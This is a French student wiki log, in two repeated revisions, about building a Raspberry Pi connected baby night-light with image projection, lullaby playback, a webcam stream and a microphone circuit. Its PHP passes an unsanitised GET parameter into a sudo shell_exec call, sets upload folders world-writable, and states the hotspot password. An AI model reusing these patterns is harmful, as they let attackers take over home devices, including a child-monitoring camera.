Nous pensons également inclure, si le temps nous le permet et au vues du matériel qui nous est disponible, une fonction vidéo-baby-phone, de façon à ce que les parents puissent surveiller leur enfant à tous moments avec une image et du son à l'appui. L'implantation d'un capteur de température est également envisageable pour pouvoir gérer le confort de l'enfant et si celui-ci est perturbé, une berceuse pourra éventuellement être jouée dans un petit haut parleur.

Nous espérons ensuite pouvoir gérer tout cela avec une application web ou pour smartphone que nous aurons développé. Nous avons également pour ambition de designer et réaliser nous même l'enveloppe extérieur de notre veilleuse. Sur le châssis pourrait par exemple être posé un abat jour orné de motifs (étoiles, etc.). Nous posterons bientôt un rendu de ce à quoi nous pensons la faire ressembler, nous verrons par la suite si ce design est possible.

===Matériel à utiliser===

Pour mener à bien ce projet, nous aurons à notre disposition:

*une Raspberry pi 2 model b
*un module caméra spécifique à la raspberry
*un petit microphone
*des LEDs à faible intensité pour la lumière tamisée
*un dongle wifi pour pouvoir connecter la Raspberry au smartphone (ou autre) et donc à internet
*un petit haut-parleur
*un capteur de température

Nous avons échangé quelques mails avec notre tuteur Mr Thomas Vantroys pour ce qui était du pico-projecteur qui permettra de diffuser les images au plafond. Nous avions trouvé de notre coté un Phillips PPX4150, mais nous avons du partir sur un ASUS S1 car la commande devait se faire assez rapidement.

===Aperçu de la veilleuse===

Après modélisation 3D sur le programme 3D-Builder, nous sommes arrivés au rendu suivant pour notre prototype.

[[Fichier:veilleuse.jpg|1000px|thumb|center]]

Sur la vue éclatée suivante, nous pouvons voir les différents pièces que nous aurons à imprimer.

[[Fichier:veilleuse_eclatee.jpg|1000px|thumb|center]]

==Calendrier prévisionnel==

[[Fichier:Tableauveilleuse.png|1000px|thumb|center]]

==Au fil du projet==

===Semaine 1===

Pour cette première semaine, nous avons commencé par nous demander par quel moyen nous pourrions faire communiquer notre smartphone ou notre ordinateur avec la raspberry (veilleuse).

Nous en sommes vite venu à la solution suivante : transformer la raspberry équipée de son dongle wifi "wi-pi" en point d'accès. Ainsi nous pourrons nous connecter en wifi dessus, et une fois le serveur de l'application web installé sur la raspberry, nous pourrons nous connecter à l'adresse IP de celui-ci, et donc accéder à l'application qui gèrera les fonctionnalités de notre veilleuse.

Après avoir vérifié que notre dongle "wi-pi" était configurable en hotspot wifi, nous avons commencé la configuration.

Dans un premier temps, nous avons eu besoin d'installer les paquets "hostapd" et "dnsmasq" qui serviront à l'établissement du point d'accès. Une fois ces deux logiciels installés, nous avons configuré l'interface ''wlan0'' dans le fichier ''/etc/network/interfaces'' comme suit :

[[Fichier:Interfaces.png | center | ''le fichier interfaces après modification'' ]]

Nous avons donc choisi que l'adresse statique de la Rapsberry serait ''192.168.100.1''. Une fois un de nos appareils connecté en wifi dessus, il suffira juste de se connecter à cette adresse pour accéder à l'application web.

Dans un second temps, nous avons du configurer les caractéristiques de notre hotspot (SSID et mot de passe) dans le fichier ''/etc/hostpad/hostapd.conf''. Nous aovns choisi de donner à notre hotspot le nom ''Sleepi-Fi'' et le mot de passe ''sleepipi''. Voilà le fichier ''hostapd.conf'' une fois modifié :

[[Fichier:hostapdconf.png | center | ''le fichier hostapd.conf après modifications'' ]]

Nous avons ensuite décommenté la ligne DAEMON_CONF dans le fichier ''/etc/default/hostapd'' et nous y avons ajouté le chemin vers la configuration de la façon suivante :

[[Fichier:daemon.png | center ]]

Il a ensuite fallut modifier le fichier de configuration de dnsmasq : ''/etc/dnsmasq.conf'' en ajoutant à la fin du fichier les trois lignes suivantes :

interface=wlan0
except-interface=eth0
dhcp-range=192.168.100.2,192.168.100.150,255.255.255.0,12h

Une fois tout cela réalisé, il nous reste à redémarrer ''hostpad'' et ''dnsmasq'' en tapant les commandes suivantes dans le terminal :

/etc/init.d/hostapd restart
/etc/init.d/dnsmasq restart

Puis nous les avons autorisés à se redémarrer à chaque allumage de la raspberry via les commandes suivantes :

update-rc.d hostapd enable
update-rc.d dnsmasq enable

A partir de ce moment là, la connection à la raspberry en tant que hotspot wifi était fonctionnelle !

[[Fichier:Connected.png | center]]

Il ne nous restait plus qu'à créer un serveur local sur la raspberry par le biais de ''apache2'' comme nous l'avons fait en TP. Notre application web serait ensuite implantée dans le dossier ''/var/www'' de la raspberry. Nous avions commencé à regarder en prévention l'interface de notre application, nous avons donc testé le bon fonctionnement de notre serveur en nous y connectant depuis un appareil distant (ordinateur ou smartphone) avec la page de garde de notre application en ''index.html'', et le résultat fut plutôt concluant pour cette fin de première séance.

[[Fichier:Menu_veilleuse.png | 1000px | thumb | center]]

===Semaine 2===

Durant cette deuxième semaine, nous avons commencé à nous pencher sur les fonctionnalités de notre future veilleuse. Nous avons donc commencé par celle qui nous a semblé la plus simple, l'upload d'images depuis un appareil distant vers la raspberry, afin que cette image soit ensuite projetée par le pico projecteur.

Nous avons donc créer un dossier ''images'' dans notre le dossier qui gère notre serveur (''/var/www'') afin d'y mettre tous les fichiers html, php, css qui mettront en forme cette fonctionnalité.

En premier lieu, il fallait créer un formulaire html qui permettrait à l'utilisateur d'aller parcourir ses fichiers afin de sélectionner l'image souhaitée. Nous avons donc opté pour le code suivant :

[[Fichier:Uploadhtml.png | center]]

Que nous avons lié avec le fichier ''upload_img2.php'' suivant, qui traitera l'image et l'enregistrera dans le dossier ''/var/www/images/uploads'' de la raspberry :

[[Fichier:Uploadimgphp.png | center]]

NB : Pour que ce script fonctionne, il nous a fallut changer les droits sur les dossiers ''/images'' et ''/uploads'' car à la base nous n'avions pas les autorisations nécessaires pour écrire à l'intérieur. Il nous a suffit d'éxecuter les commandes suivantes dans le terminal :

sudo chmod a+rwx /var/www/images
sudo chmod a+rwx /var/www/images/uploads

la commande ''shell_exec'' à la fin de notre script permet d'afficher sur la sortie vidéo de la raspberry l'image que nous venons de lui envoyer, par le biais du logiciel fim (Framebuffer imageviewer IMproved). L'option ''-a'' permet d'effectuer une mise à l'échelle automatique sur l'image. Voici une photo montrant la projection d'une image téléchargée depuis un de nos smartphones :

[[Fichier:projecteur.jpg | 300px | thumb | center]]

===Semaine 3===

Pour cette troisième semaine, nous avions prévu de commencer la fonctionnalité de streaming vidéo depuis la raspberry sur nos appareils distants. Cependant, les solutions que nous étudions ne semblait pas fonctionner comme elles l'auraient du.

Nous avions pensé à utiliser un paquet téléchargeable sur la raspberry qui aurait permis de streamer des images à intervalles rapides et régulier, qui seraient apparues sur la raspberry comme une seule et même image (la nouvelle photographie écrasait l'ancienne et était envoyée sur une certaine page web où nous aurions pu les visualiser). Mais nous avons rencontré des problèmes avec le paquet, et n'avançant pas nous avons préféré avancer sur d'autres fonctionnalités en attendant. Ayant également rencontré des problèmes quant aux dimensions de notre modèle qui étaient trop grandes pour les imprimantes 3D du Fabricarium, elles ont été revues durant cette séance tandis qu'un de nous s'occupait de l'envoi de berceuses à la raspberry.

Pour l'upload des berçeuses, nous avons procédé de manière analogue à l'upload des images. C'est à dire un formulaire HTML et une page php qui traitera se fichier de façon à l'envoyer à la raspberry.

Le formulaire html est exactement le même que celui de l'upload d'images, cependant la page php nécessite quelques modifications. Lors de la vérification de l'extension, les formats comparés ne seront plus des formats images, mais des formats audios comme le mp3, le wmv, etc.

Voici le fichier ''upload_music.php'' :

[[Fichier:Uploadmusphp.png | center]]

A partir de là, nous avons rencontré plusieurs problèmes.
En effet la page php nous renvoyait le message d'erreur ''le fichier est introuvable''. D'où la déduction que le fichier n'était enfaite pas uploadé sur la raspberry. Des recherches sur ce problème sont donc à prévoir pour la semaine d'après.

===Semaine 4===

Ayant revus les dimensions des pièces de notre modèle la semaine passée, nous avons commencé à nous lancer dans leurs impressions cette semaine. Nous avons débuté par la pièces qui servira à maintenir la raspberry en place dans la veilleuse.

[[Fichier:Boitier_rasp1.jpg | 300px | center | thumb ]]

[[Fichier:Boitier_rasp2.jpg | 300px | center | thumb ]]

Nous pensons lancer l'impression du socle la semaine prochaine. Voici une photo de ce à quoi il devrait ressembler :

[[Fichier:Socle_sleepi.png | 300 px | center | thumb]]

A coté de ça, après nous être penchés sur les problèmes qui pourraient mener au fait qu'un fichier ne sois pas uploadé (par rapport à notre upload de berceuse ), nous avons découvert deux possibles raisons :

Une évidente était que la taille d'upload maximale autorisée dans le php.ini est par défaut fixée à 2 Mo. Ce qui reste insuffisant pour un fichier musical qui fait généralement 5 Mo. Nous avons donc modifié le fichier ''php.ini'' et changé cette limite pour 10 Mo.

Une autre, moins évidente, est que nous nous sommes rendus compte que le ''$FILES['music']['tmp_name']'' était vide. Nous n'avons pas encore compris pourquoi.

Nous nous sommes donc tourné vers l'aspect lecture de l'audio sur la raspberry. Et nous avons trouvé un outil qui permet de lire de la musique avec ou sans interface graphique, dans un terminal. Cet outil s'appel ''MOC'' pour ''Music On Console''.

Pour l'utiliser à partir du terminal ( sans interface graphique donc, ce qui nous intéresse) il suffit :

-de démarrer le serveur musical à l'aide de la commande ''mocp -S''
-d'ajouter le dossier qui contient nos berceuses pas le biais de la commande ''mocp -a <chemin du dossier>''
-de lancer la lecture à partir du premier morceau de la playlist créée auparavant avec la commande ''mocp -p''.

Lorsque l'on souhaite ensuite stopper la lecture, un simple ''mocp -s'' arrêtera le lecteur.

===Semaine 5===

Pour cette semaine, nous avons enfin trouvé une solution au streaming vidéo sur la raspberry. Nous cherchions une solution simple et pas trop coûteuse en ressource.
Nous sommes finalement arrivé à l'utilisation du programme "webcam" qui est un outil simplifié des outils comme "motion" et "mjpg-streamer". En effet, "webcam" ne fait qu'enregistrer une image dans un registre défini et remplace l'image sous le même nom à intervalle régulier. Le programme lit le fichier webcam.conf que nous avons mis dans le dossier /etc qui correspond à son fichier configuration :

le voici
[[Fichier:webcam.conf.png | center]]

Ensuite, nous avons créé une petite page html qui affiche les images prisent par "webcam" le plus rapidement possible donc nous avons fait en sorte qu'elle se rafraîchisse instantanément :

Voilà à quoi cela ressemble
[[Fichier:stream.png | center]]

Il nous reste encore à améliorer la page html en automatisant le lancement et la fermeture de "webcam" .Nous sommes pour l'instant obligé d'utiliser la commande "webcam /etc/webcam.conf" pour lancer et "fg webcam" pour fermer "webcam".

===Semaine 6===

L'impression de notre socle est enfin terminée. Voici ce à quoi il ressemble :

[[Fichier:socle_imp.jpg|300px|thumb|center]]

Nous lançerons l'impression de l'intérieur et du haut du socle dans les prochaines semaines.

Pour finaliser la gestion des berceuses, le php d'upload a fini par fonctionner. Les fichiers audio sont donc téléchargés vers le dossier ''uploads'' lui même dans le dossier ''berceuse''.

Pour gérer la lecture des pistes sur la raspberry nous avons fonctionné comme suit:

-L'utilisateur a le choix entre télécharger une nouvelle musique, ou en sélectionner une qui a déjà été importée auparavant.
-S'il choisit d'en importer une nouvelle, il devra la télécharger, puis revenir au menu principale afin de la retrouver dans les chansons importées (Puisqu'elle sera maintenant dans ce dossier).
-Lorsqu'il cliquera sur une des chansons, le nom de la chanson sélectionnée sera passé en paramètre (nommé ''dir'') à une nouvelle page php spécifique à la lecture sur la raspberry.
-A l'arrivée sur cette page, le serveur de musique sera lancé, puis la playlist sera nettoyée, le morceau sera ensuite ajouté à la playlist vide, et sera lu.

Voici un aperçu du code nécessaire à cette manipulation :

--lecture.php--
<?php
$dir=$_GET[dir];
shell_exec('sudo mocp -S'); //lance le serveur de musique
shell_exec('sudo mocp -c'); //clean de la playlist
shell_exec('sudo mocp -a ./'.dir); //ajout de la chanson à la nouvelle playlist
shell_exec('sudo mocp -p'); // début de la lecture
?>

[img selection et remplacer code php par original]

Après plusieurs tests avec des écouteurs, la musique sélectionnée est bien diffusée sur la raspberry.

Pour finir, l'utilisateur pourra choisir directement dans le menu principal d'arreter la musique, par le biais d'un php qui lancera un ''shell_exec("sudo mocp -s");'', et pourra également supprimer les musiques s'il le souhaite.

===Semaine 7===

Cette semaine nous nous sommes penché sur la mise en place du mini microphone électret qui fera office de décibelmètre.
Le problème le plus important est que le microphone retourne des données analogique alors que les ports GPIO de la raspberry sont numériques.
Nous avions d'abord essayé de brancher le microphone comme expliqué sur la datasheet et de mettre l'output directement sur une Pin GPIO. Mais les valeurs affichées étaient 0 ou 1.

[[Fichier:ABM_715_RC.jpg|600px|thumb|center]]

Après discussion avec Mr Flamen, il nous a conseillé de réalisé un circuit amplificateur-comparateur grâce à un AOP. En effet, pour notre utilisation du microphone, il est plus simple de récupérer 0V ou 5V en fonction d'un seuil choisit au préalable (nous voulons juste savoir si le bébé pleure ou pas)

Mr Flamen nous a donc donné un LM358 qui est un AOP rail-to-rail contenant deux AOP ce qui nous permet de l'alimenter directement avec la Raspberry entre 5V et le Ground .Et d'utiliser un AOP pour l'amplification et un autre pour la comparaison entre la tension entrante et la tension seuil.

[[Fichier:lm358.jpg|600px|thumb|center]]

Il nous reste à faire le circuit et à le simuler avant de commencer les testes.

===Semaine 8===
Nous avons réalisé la simulation du montage AOP grâce au logiciel PSim.
Voici le montage :

[[Fichier:montage_AOP.jpg|600px|thumb|center]]

Les résultats de la simulation sont ceux que nous avions espéré (Voir ci-dessous):

[[Fichier:simulation_AOP.jpg|600px|thumb|center]]

On peut voir en vert la tension seuil que l'on a fixé à 2.5 Volts. En rouge la tension de sortie du premier AOP(amplificateur) et dont les variations sont dû à celles de la résistance du microphone (Le microphone a été simulé avec une résistance variable). Et enfin en bleu, la sortie du deuxième AOP(comparateur) qui passe de 0 à 5 Volts lorsque la tension d'entrée passe au-dessus de la tension seuil.

Nous avons rassemblé les composants et commencerons le montage et les tests réels la semaine prochaine.

===Semaine 9===

nous avons réalisé le montage que nous avions testé avec PSim :

[[Fichier: Montage_réel_AOP.jpg |250px|thumb|center]]

Cependant nous ne trouvons pas de résultats concluant. La tension de sortie ne franchie pas la tension seuil lorsqu'on émettons un bruit fort à proximité du microphone.
Nous laissons cette partie en attente pour l'instant.

===Semaine 10===

Nous avons commencé à crée un programme permettant d'allumer les lampes de la veilleuse via notre index.html.
Pour cela, nous avons fait deux boutons ("allumage" et "extinction") sur notre index.html. Ils redirigent vers un fichier php (light_on.php ou light_off.php) et celui-ci exécute un script python qui commande un GPIO de la raspberry. Le GPIO est mis en positionn LOW ou HIGH en fonction du php utilisé.

===Semaine 11===
===Semaine 12===

==Fichiers rendus==

Veilleuse enfant connectée

2016-04-21T10:05:13Z

Jbielle : /* Semaine 9 */

==Cahier des charges==

===objectifs et description du projet===

Notre projet a pour but de réaliser un prototype de veilleuse pour enfant connectée. La veilleuse devra proposer tout d'abord un éclairage tamisé de manière à permettre à l'enfant de s'endormir, comme le proposent les veilleuses pour enfants classiques. Le qualificatif "connectée" prend ici son sens dans la mesure où la veilleuse devra permettre la projection d'une image au plafond, image qui sera choisie par les parents sur leurs smartphones, tablettes ou ordinateurs, envoyée sur le cloud, et récupérée par la veilleuse, connectée à internet, pour qu'elle puisse l'afficher.
Les parents auront également la possibilité de régler les horaires de fonctionnement de la veilleuse, directement depuis leurs canapés.

Nous pensons également inclure, si le temps nous le permet et au vues du matériel qui nous est disponible, une fonction vidéo-baby-phone, de façon à ce que les parents puissent surveiller leur enfant à tous moments avec une image et du son à l'appui. L'implantation d'un capteur de température est également envisageable pour pouvoir gérer le confort de l'enfant et si celui-ci est perturbé, une berceuse pourra éventuellement être jouée dans un petit haut parleur.

Nous espérons ensuite pouvoir gérer tout cela avec une application web ou pour smartphone que nous aurons développé. Nous avons également pour ambition de designer et réaliser nous même l'enveloppe extérieur de notre veilleuse. Sur le châssis pourrait par exemple être posé un abat jour orné de motifs (étoiles, etc.). Nous posterons bientôt un rendu de ce à quoi nous pensons la faire ressembler, nous verrons par la suite si ce design est possible.

===Matériel à utiliser===

Pour mener à bien ce projet, nous aurons à notre disposition:

*une Raspberry pi 2 model b
*un module caméra spécifique à la raspberry
*un petit microphone
*des LEDs à faible intensité pour la lumière tamisée
*un dongle wifi pour pouvoir connecter la Raspberry au smartphone (ou autre) et donc à internet
*un petit haut-parleur
*un capteur de température

Nous avons échangé quelques mails avec notre tuteur Mr Thomas Vantroys pour ce qui était du pico-projecteur qui permettra de diffuser les images au plafond. Nous avions trouvé de notre coté un Phillips PPX4150, mais nous avons du partir sur un ASUS S1 car la commande devait se faire assez rapidement.

===Aperçu de la veilleuse===

Après modélisation 3D sur le programme 3D-Builder, nous sommes arrivés au rendu suivant pour notre prototype.

[[Fichier:veilleuse.jpg|1000px|thumb|center]]

Sur la vue éclatée suivante, nous pouvons voir les différents pièces que nous aurons à imprimer.

[[Fichier:veilleuse_eclatee.jpg|1000px|thumb|center]]

==Calendrier prévisionnel==

[[Fichier:Tableauveilleuse.png|1000px|thumb|center]]

==Au fil du projet==

===Semaine 1===

Pour cette première semaine, nous avons commencé par nous demander par quel moyen nous pourrions faire communiquer notre smartphone ou notre ordinateur avec la raspberry (veilleuse).

Nous en sommes vite venu à la solution suivante : transformer la raspberry équipée de son dongle wifi "wi-pi" en point d'accès. Ainsi nous pourrons nous connecter en wifi dessus, et une fois le serveur de l'application web installé sur la raspberry, nous pourrons nous connecter à l'adresse IP de celui-ci, et donc accéder à l'application qui gèrera les fonctionnalités de notre veilleuse.

Après avoir vérifié que notre dongle "wi-pi" était configurable en hotspot wifi, nous avons commencé la configuration.

Dans un premier temps, nous avons eu besoin d'installer les paquets "hostapd" et "dnsmasq" qui serviront à l'établissement du point d'accès. Une fois ces deux logiciels installés, nous avons configuré l'interface ''wlan0'' dans le fichier ''/etc/network/interfaces'' comme suit :

[[Fichier:Interfaces.png | center | ''le fichier interfaces après modification'' ]]

Nous avons donc choisi que l'adresse statique de la Rapsberry serait ''192.168.100.1''. Une fois un de nos appareils connecté en wifi dessus, il suffira juste de se connecter à cette adresse pour accéder à l'application web.

Dans un second temps, nous avons du configurer les caractéristiques de notre hotspot (SSID et mot de passe) dans le fichier ''/etc/hostpad/hostapd.conf''. Nous aovns choisi de donner à notre hotspot le nom ''Sleepi-Fi'' et le mot de passe ''sleepipi''. Voilà le fichier ''hostapd.conf'' une fois modifié :

[[Fichier:hostapdconf.png | center | ''le fichier hostapd.conf après modifications'' ]]

Nous avons ensuite décommenté la ligne DAEMON_CONF dans le fichier ''/etc/default/hostapd'' et nous y avons ajouté le chemin vers la configuration de la façon suivante :

[[Fichier:daemon.png | center ]]

Il a ensuite fallut modifier le fichier de configuration de dnsmasq : ''/etc/dnsmasq.conf'' en ajoutant à la fin du fichier les trois lignes suivantes :

interface=wlan0
except-interface=eth0
dhcp-range=192.168.100.2,192.168.100.150,255.255.255.0,12h

Une fois tout cela réalisé, il nous reste à redémarrer ''hostpad'' et ''dnsmasq'' en tapant les commandes suivantes dans le terminal :

/etc/init.d/hostapd restart
/etc/init.d/dnsmasq restart

Puis nous les avons autorisés à se redémarrer à chaque allumage de la raspberry via les commandes suivantes :

update-rc.d hostapd enable
update-rc.d dnsmasq enable

A partir de ce moment là, la connection à la raspberry en tant que hotspot wifi était fonctionnelle !

[[Fichier:Connected.png | center]]

Il ne nous restait plus qu'à créer un serveur local sur la raspberry par le biais de ''apache2'' comme nous l'avons fait en TP. Notre application web serait ensuite implantée dans le dossier ''/var/www'' de la raspberry. Nous avions commencé à regarder en prévention l'interface de notre application, nous avons donc testé le bon fonctionnement de notre serveur en nous y connectant depuis un appareil distant (ordinateur ou smartphone) avec la page de garde de notre application en ''index.html'', et le résultat fut plutôt concluant pour cette fin de première séance.

[[Fichier:Menu_veilleuse.png | 1000px | thumb | center]]

===Semaine 2===

Durant cette deuxième semaine, nous avons commencé à nous pencher sur les fonctionnalités de notre future veilleuse. Nous avons donc commencé par celle qui nous a semblé la plus simple, l'upload d'images depuis un appareil distant vers la raspberry, afin que cette image soit ensuite projetée par le pico projecteur.

Nous avons donc créer un dossier ''images'' dans notre le dossier qui gère notre serveur (''/var/www'') afin d'y mettre tous les fichiers html, php, css qui mettront en forme cette fonctionnalité.

En premier lieu, il fallait créer un formulaire html qui permettrait à l'utilisateur d'aller parcourir ses fichiers afin de sélectionner l'image souhaitée. Nous avons donc opté pour le code suivant :

[[Fichier:Uploadhtml.png | center]]

Que nous avons lié avec le fichier ''upload_img2.php'' suivant, qui traitera l'image et l'enregistrera dans le dossier ''/var/www/images/uploads'' de la raspberry :

[[Fichier:Uploadimgphp.png | center]]

NB : Pour que ce script fonctionne, il nous a fallut changer les droits sur les dossiers ''/images'' et ''/uploads'' car à la base nous n'avions pas les autorisations nécessaires pour écrire à l'intérieur. Il nous a suffit d'éxecuter les commandes suivantes dans le terminal :

sudo chmod a+rwx /var/www/images
sudo chmod a+rwx /var/www/images/uploads

la commande ''shell_exec'' à la fin de notre script permet d'afficher sur la sortie vidéo de la raspberry l'image que nous venons de lui envoyer, par le biais du logiciel fim (Framebuffer imageviewer IMproved). L'option ''-a'' permet d'effectuer une mise à l'échelle automatique sur l'image. Voici une photo montrant la projection d'une image téléchargée depuis un de nos smartphones :

[[Fichier:projecteur.jpg | 300px | thumb | center]]

===Semaine 3===

Pour cette troisième semaine, nous avions prévu de commencer la fonctionnalité de streaming vidéo depuis la raspberry sur nos appareils distants. Cependant, les solutions que nous étudions ne semblait pas fonctionner comme elles l'auraient du.

Nous avions pensé à utiliser un paquet téléchargeable sur la raspberry qui aurait permis de streamer des images à intervalles rapides et régulier, qui seraient apparues sur la raspberry comme une seule et même image (la nouvelle photographie écrasait l'ancienne et était envoyée sur une certaine page web où nous aurions pu les visualiser). Mais nous avons rencontré des problèmes avec le paquet, et n'avançant pas nous avons préféré avancer sur d'autres fonctionnalités en attendant. Ayant également rencontré des problèmes quant aux dimensions de notre modèle qui étaient trop grandes pour les imprimantes 3D du Fabricarium, elles ont été revues durant cette séance tandis qu'un de nous s'occupait de l'envoi de berceuses à la raspberry.

Pour l'upload des berçeuses, nous avons procédé de manière analogue à l'upload des images. C'est à dire un formulaire HTML et une page php qui traitera se fichier de façon à l'envoyer à la raspberry.

Le formulaire html est exactement le même que celui de l'upload d'images, cependant la page php nécessite quelques modifications. Lors de la vérification de l'extension, les formats comparés ne seront plus des formats images, mais des formats audios comme le mp3, le wmv, etc.

Voici le fichier ''upload_music.php'' :

[[Fichier:Uploadmusphp.png | center]]

A partir de là, nous avons rencontré plusieurs problèmes.
En effet la page php nous renvoyait le message d'erreur ''le fichier est introuvable''. D'où la déduction que le fichier n'était enfaite pas uploadé sur la raspberry. Des recherches sur ce problème sont donc à prévoir pour la semaine d'après.

===Semaine 4===

Ayant revus les dimensions des pièces de notre modèle la semaine passée, nous avons commencé à nous lancer dans leurs impressions cette semaine. Nous avons débuté par la pièces qui servira à maintenir la raspberry en place dans la veilleuse.

[[Fichier:Boitier_rasp1.jpg | 300px | center | thumb ]]

[[Fichier:Boitier_rasp2.jpg | 300px | center | thumb ]]

Nous pensons lancer l'impression du socle la semaine prochaine. Voici une photo de ce à quoi il devrait ressembler :

[[Fichier:Socle_sleepi.png | 300 px | center | thumb]]

A coté de ça, après nous être penchés sur les problèmes qui pourraient mener au fait qu'un fichier ne sois pas uploadé (par rapport à notre upload de berceuse ), nous avons découvert deux possibles raisons :

Une évidente était que la taille d'upload maximale autorisée dans le php.ini est par défaut fixée à 2 Mo. Ce qui reste insuffisant pour un fichier musical qui fait généralement 5 Mo. Nous avons donc modifié le fichier ''php.ini'' et changé cette limite pour 10 Mo.

Une autre, moins évidente, est que nous nous sommes rendus compte que le ''$FILES['music']['tmp_name']'' était vide. Nous n'avons pas encore compris pourquoi.

Nous nous sommes donc tourné vers l'aspect lecture de l'audio sur la raspberry. Et nous avons trouvé un outil qui permet de lire de la musique avec ou sans interface graphique, dans un terminal. Cet outil s'appel ''MOC'' pour ''Music On Console''.

Pour l'utiliser à partir du terminal ( sans interface graphique donc, ce qui nous intéresse) il suffit :

-de démarrer le serveur musical à l'aide de la commande ''mocp -S''
-d'ajouter le dossier qui contient nos berceuses pas le biais de la commande ''mocp -a <chemin du dossier>''
-de lancer la lecture à partir du premier morceau de la playlist créée auparavant avec la commande ''mocp -p''.

Lorsque l'on souhaite ensuite stopper la lecture, un simple ''mocp -s'' arrêtera le lecteur.

===Semaine 5===

Pour cette semaine, nous avons enfin trouvé une solution au streaming vidéo sur la raspberry. Nous cherchions une solution simple et pas trop coûteuse en ressource.
Nous sommes finalement arrivé à l'utilisation du programme "webcam" qui est un outil simplifié des outils comme "motion" et "mjpg-streamer". En effet, "webcam" ne fait qu'enregistrer une image dans un registre défini et remplace l'image sous le même nom à intervalle régulier. Le programme lit le fichier webcam.conf que nous avons mis dans le dossier /etc qui correspond à son fichier configuration :

le voici
[[Fichier:webcam.conf.png | center]]

Ensuite, nous avons créé une petite page html qui affiche les images prisent par "webcam" le plus rapidement possible donc nous avons fait en sorte qu'elle se rafraîchisse instantanément :

Voilà à quoi cela ressemble
[[Fichier:stream.png | center]]

Il nous reste encore à améliorer la page html en automatisant le lancement et la fermeture de "webcam" .Nous sommes pour l'instant obligé d'utiliser la commande "webcam /etc/webcam.conf" pour lancer et "fg webcam" pour fermer "webcam".

===Semaine 6===

L'impression de notre socle est enfin terminée. Voici ce à quoi il ressemble :

[[Fichier:socle_imp.jpg|300px|thumb|center]]

Nous lançerons l'impression de l'intérieur et du haut du socle dans les prochaines semaines.

Pour finaliser la gestion des berceuses, le php d'upload a fini par fonctionner. Les fichiers audio sont donc téléchargés vers le dossier ''uploads'' lui même dans le dossier ''berceuse''.

Pour gérer la lecture des pistes sur la raspberry nous avons fonctionné comme suit:

-L'utilisateur a le choix entre télécharger une nouvelle musique, ou en sélectionner une qui a déjà été importée auparavant.
-S'il choisit d'en importer une nouvelle, il devra la télécharger, puis revenir au menu principale afin de la retrouver dans les chansons importées (Puisqu'elle sera maintenant dans ce dossier).
-Lorsqu'il cliquera sur une des chansons, le nom de la chanson sélectionnée sera passé en paramètre (nommé ''dir'') à une nouvelle page php spécifique à la lecture sur la raspberry.
-A l'arrivée sur cette page, le serveur de musique sera lancé, puis la playlist sera nettoyée, le morceau sera ensuite ajouté à la playlist vide, et sera lu.

Voici un aperçu du code nécessaire à cette manipulation :

--lecture.php--
<?php
$dir=$_GET[dir];
shell_exec('sudo mocp -S'); //lance le serveur de musique
shell_exec('sudo mocp -c'); //clean de la playlist
shell_exec('sudo mocp -a ./'.dir); //ajout de la chanson à la nouvelle playlist
shell_exec('sudo mocp -p'); // début de la lecture
?>

[img selection et remplacer code php par original]

Après plusieurs tests avec des écouteurs, la musique sélectionnée est bien diffusée sur la raspberry.

Pour finir, l'utilisateur pourra choisir directement dans le menu principal d'arreter la musique, par le biais d'un php qui lancera un ''shell_exec("sudo mocp -s");'', et pourra également supprimer les musiques s'il le souhaite.

===Semaine 7===

Cette semaine nous nous sommes penché sur la mise en place du mini microphone électret qui fera office de décibelmètre.
Le problème le plus important est que le microphone retourne des données analogique alors que les ports GPIO de la raspberry sont numériques.
Nous avions d'abord essayé de brancher le microphone comme expliqué sur la datasheet et de mettre l'output directement sur une Pin GPIO. Mais les valeurs affichées étaient 0 ou 1.

[[Fichier:ABM_715_RC.jpg|600px|thumb|center]]

Après discussion avec Mr Flamen, il nous a conseillé de réalisé un circuit amplificateur-comparateur grâce à un AOP. En effet, pour notre utilisation du microphone, il est plus simple de récupérer 0V ou 5V en fonction d'un seuil choisit au préalable (nous voulons juste savoir si le bébé pleure ou pas)

Mr Flamen nous a donc donné un LM358 qui est un AOP rail-to-rail contenant deux AOP ce qui nous permet de l'alimenter directement avec la Raspberry entre 5V et le Ground .Et d'utiliser un AOP pour l'amplification et un autre pour la comparaison entre la tension entrante et la tension seuil.

[[Fichier:lm358.jpg|600px|thumb|center]]

Il nous reste à faire le circuit et à le simuler avant de commencer les testes.

===Semaine 8===
Nous avons réalisé la simulation du montage AOP grâce au logiciel PSim.
Voici le montage :

[[Fichier:montage_AOP.jpg|600px|thumb|center]]

Les résultats de la simulation sont ceux que nous avions espéré (Voir ci-dessous):

[[Fichier:simulation_AOP.jpg|600px|thumb|center]]

On peut voir en vert la tension seuil que l'on a fixé à 2.5 Volts. En rouge la tension de sortie du premier AOP(amplificateur) et dont les variations sont dû à celles de la résistance du microphone (Le microphone a été simulé avec une résistance variable). Et enfin en bleu, la sortie du deuxième AOP(comparateur) qui passe de 0 à 5 Volts lorsque la tension d'entrée passe au-dessus de la tension seuil.

Nous avons rassemblé les composants et commencerons le montage et les tests réels la semaine prochaine.

===Semaine 9===

nous avons réalisé le montage que nous avions testé avec PSim :

[[Fichier: Montage_réel_AOP.jpg |250px|thumb|center]]

Cependant nous ne trouvons pas de résultats concluant. La tension de sortie ne franchie pas la tension seuil lorsqu'on émettons un bruit fort à proximité du microphone.
Nous laissons cette partie en attente pour l'instant.

===Semaine 10===
===Semaine 11===
===Semaine 12===

==Fichiers rendus==

Veilleuse enfant connectée

2016-03-07T21:25:39Z

Jbielle : /* Semaine 5 */

Fichier:Stream.png

2016-03-07T21:22:08Z

Jbielle :

Fichier:Webcam.conf.png

2016-03-07T21:20:53Z

Jbielle :

Veilleuse enfant connectée

2016-03-07T21:19:50Z

Jbielle : /* Semaine 5 */

Projets IMA4 SC & SA 2015/2016

2016-02-06T14:37:50Z

Jbielle : /* Matériel à acquérir */

Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en demandant une modification du format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.

Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].

== Répartition des binômes ==

{| class="wikitable"
! Projet !! Encadrants école !! Elèves
|-
| P0 [[Commande USB par micro-contrôleur]]
| Xavier Redon
| Arnaud DESHAYS
|-
| P4 [[Train de véhicules]]
| Xavier Redon
